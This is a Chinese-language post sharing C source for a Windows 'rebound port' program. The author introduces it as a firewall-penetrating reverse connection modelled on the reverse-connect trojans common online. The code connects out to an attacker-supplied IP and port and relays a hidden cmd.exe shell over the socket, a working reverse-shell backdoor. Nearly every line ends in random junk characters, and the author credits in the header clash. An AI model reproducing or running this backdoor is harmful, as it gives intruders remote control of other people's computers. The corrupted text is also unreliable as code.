这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 6[ga$nF?
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/* ============================== 7[#xOZT
Rebound port in Windows NT (/{aJV
By wind,2006/7 z~oDWANP
===============================*/ l]LxL
#include 4ne5=YY*
#include 9<1F[SS<s9
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#pragma comment(lib,"wsock32.lib") X`r*ob
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void OutputShell(); R)8s
SOCKET sClient; </~ 6f(mg
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; c0- ;VZ'
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void main(int argc,char **argv) gX @`X
{ #2p#VQh
WSADATA stWsaData; ]!"S+gT*C
int nRet; =t0tK}Y+4
SOCKADDR_IN stSaiClient,stSaiServer; 1T|$BK@)
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if(argc != 3) ^krk&rW3
{ Djt%r<
printf("Useage:\n\rRebound DestIP DestPort\n"); 3{7T4p.G
return; &%=D \YzG
} 7'p8a<x
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WSAStartup(MAKEWORD(2,2),&stWsaData); ja=w5
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); <,@%*G1-
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stSaiClient.sin_family = AF_INET; I[Ic$ta
stSaiClient.sin_port = htons(0); E#%}ZY
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); J>0b1
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) W[''Cc.
{ G-um`/ <%
printf("Bind Socket Failed!\n"); vsyWm.E
return; |F$BvCg
}
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stSaiServer.sin_family = AF_INET; 2a=sm1?
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); PD[z#T!'
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ,^s0</ve
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) E9fxjI%1
{ Gs0H@
printf("Connect Error!"); k#>hg#G
return; R`'1t3p0i
} \}*k)$r
OutputShell(); - xm{&0e)
} dbdM"z4
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void OutputShell() w`HI]{hE~N
{ P87#
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char szBuff[1024]; ~W0(1#
i
SECURITY_ATTRIBUTES stSecurityAttributes; ~eh0[mF^]
OSVERSIONINFO stOsversionInfo; 0DPxW8Y -`
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; &p(0K4:
STARTUPINFO stStartupInfo; wVl+]zB
char *szShell; K|S:{9Q
PROCESS_INFORMATION stProcessInformation; i?@M
unsigned long lBytesRead; U7$WiPTNL9
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); a|j%n
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); rVSZ.+n
stSecurityAttributes.lpSecurityDescriptor = 0; W_YY#wf_
stSecurityAttributes.bInheritHandle = TRUE; ]c)_&{:V
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); m"2d$vro"
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); (K..k-o`.
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 1`bl&}6l|E
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |Bo .4lX
stStartupInfo.wShowWindow = SW_HIDE; _s.;eHp,
stStartupInfo.hStdInput = hReadPipe; AIijCL
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; n| !@1sd
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GetVersionEx(&stOsversionInfo); :\
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switch(stOsversionInfo.dwPlatformId) 4$6T+i2E
{ is^pgKX
case 1: i{c@S:&@^
szShell = "command.com"; 95W?{>
@
break; xG2+(f#C1
default: 8P' ana
szShell = "cmd.exe"; e(
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break; {D&9UZm
} UL@9W6
s,]%dG!
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); V7Yaks
kJ:F *34e=
send(sClient,szMsg,77,0); ;QCrHqRT`
while(1) _banp0ywS
{ W;6vpPhg#!
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ]bdFr/!'S+
if(lBytesRead) "`Ge~N[$A
{ e 8\;t"D
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Rf-[svA
send(sClient,szBuff,lBytesRead,0); .4y>QN#VL
} $4SzUZ0
else E-5_{sc
{ E ]9\R
lBytesRead=recv(sClient,szBuff,1024,0); F/c$v
if(lBytesRead<=0) break; (@0O
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 'T=~jA7SkT
} ./6<r OW
} 0C%W&;r0
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return; 6vKS".4C
}